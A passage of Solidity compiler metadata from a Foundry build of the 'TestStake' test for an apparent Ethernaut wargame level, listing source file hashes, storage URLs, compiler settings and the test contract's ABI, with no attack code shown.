\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/attacks/StakeAttack.sol\":{\"keccak256\":\"0xcb07ae3ce661d72d39db5856fcd949976df5437b04d92552ad5bb99f7ed6e190\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a980ad6ccd7ba0d1e337af1e2493e4f1890009285c6958ce52fb4e6973ff81f3\",\"dweb:/ipfs/QmZi8DQyT8CSR5JmB4qvjc9xwwf92gv9uditGeZkGWyn96\"]},\"src/levels/Stake.sol\":{\"keccak256\":\"0x7e120dc6fa37762e3d4c3dccc143fa20317a8a188cda3ccda9347e3acb1991ae\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://cbafa128dad40f6abf0894fba48f2e077e18319dd1c8ae3e03108647c32ab054\",\"dweb:/ipfs/QmSMJocEaXHnWar4fNScDB95XtwqfoQXniP2LCEFrjRZ7F\"]},\"src/levels/StakeFactory.sol\":{\"keccak256\":\"0x549cb9a494220512cc4d929c23bff4dc0ade9fb5f186ac9b116e9fec0d79cd2a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://97a93cad5be0fc87a93bf3f3fa4c8283d907d1040b5b83e0b3249c0885514148\",\"dweb:/ipfs/QmUhTtt6pCjcu9EoQuWgLR8G2poRJT4oYsmyZyof83yQcN\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/levels/Stake.t.sol\":{\"keccak256\":\"0x17eda89c3eb214510a77b9f55981a1f6798affb9a2c516618275ca1579880261\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a49857e822f767332a0f30bd745eec1142a119ea9ca1e037fc4eb099ee1b62fe\",\"dweb:/ipfs/QmYXLGLqhDmiycWJRf7wGWaqRdMBQfyMAPPHTUSG3NazEC\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.23+commit.f704f362"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address","indexed":false}],"type":"event","name":"log_address","anonymous":false},{"inputs":[{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"log_bytes","anonymous":false},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32","indexed":false}],"type":"event","name":"log_bytes32","anonymous":false},{"inputs":[{"internalType":"int256","name":"","type":"int256","indexed":false}],"type":"event","name":"log_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address","name":"val","type":"address","indexed":false}],"type":"event","name":"log_named_address","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes","name":"val","type":"bytes","indexed":false}],"type":"event","name":"log_named_bytes","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes32","name":"val","type":"bytes32","indexed":false}],"type":"event","name":"log_named_bytes32","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false}],"type":"event","name":"log_named_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"string","name":"val","type":"string","indexed":false}],"type":"event","name":"log_named_string","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false}],"type":"event","name":"log_named_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log_string","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256","indexed":false}],"type":"event","name":"log_uint","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"logs","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"IS_TEST","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"contract Level","name":"level","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createLevelInstance","outputs":[{"internalType":"address","name":"instance","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"userNum","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createUsers","outputs":[{"internalType":"address payable[]","name":"","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeArtifacts","outputs":[{"internalType":"string[]","name":"excludedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeContracts","outputs":[{"internalType":"address[]","name":"excludedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeSenders","outputs":[{"internalType":"address[]","name":"excludedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"failed","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"getEthernautWithStatsProxy","outputs":[{"internalType":"contract Ethernaut","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"getNextUserAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"contractName","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"getOldFactory","outputs":[{"internalType":"address","name":"addr","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"numBlocks","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"mineBlocks"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"setUp"},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"address","name":"instance","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitLevelInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifactSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedArtifactSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifacts","outputs":[{"internalType":"string[]","name":"targetedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetContracts","outputs":[{"internalType":"address[]","name":"targetedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetInterfaces","outputs":[{"internalType":"struct StdInvariant.FuzzInterface[]","name":"targetedInterfaces_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string[]","name":"artifacts","type":"string[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSenders","outputs":[{"internalType":"address[]","name":"targetedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testInit"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testSolve"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{"testInit()":{"notice":"Check the intial state of the level and enviroment."},"testSolve()":{"notice":"Test the solution for the level."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/levels/Stake.t.sol":"TestStake"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol":{"keccak256":"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238","urls":["bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0","dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol":{"keccak256":"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b","urls":["bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34","dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol":{"keccak256":"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca","urls":["bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd","dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/attacks/StakeAttack.sol":{"keccak256":"0xcb07ae3ce661d72d39db5856fcd949976df5437b04d92552ad5bb99f7ed6e190","urls":["bzz-raw://a980ad6ccd7ba0d1e337af1e2493e4f1890009285c6958ce52fb4e6973ff81f3","dweb:/ipfs/QmZi8DQyT8CSR5JmB4qvjc9xwwf92gv9uditGeZkGWyn96"],"license":"MIT"},"src/levels/Stake.sol":{"keccak256":"0x7e120dc6fa37762e3d4c3dccc143fa20317a8a188cda3ccda9347e3acb1991ae","urls":["bzz-raw://cbafa128dad40f6abf0894fba48f2e077e18319dd1c8ae3e03108647c32ab054","dweb:/ipfs/QmSMJocEaXHnWar4fNScDB95XtwqfoQXniP2LCEFrjRZ7F"],"license":"MIT"},"src/levels/StakeFactory.sol":{"keccak256":"0x549cb9a494220512cc4d929c23bff4dc0ade9fb5f186ac9b116e9fec0d79cd2a","urls":["bzz-raw://97a93cad5be0fc87a93bf3f3fa4c8283d907d1040b5b83e0b3249c0885514148","dweb:/ipfs/QmUhTtt6pCjcu9EoQuWgLR8G2poRJT4oYsmyZyof83yQcN"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-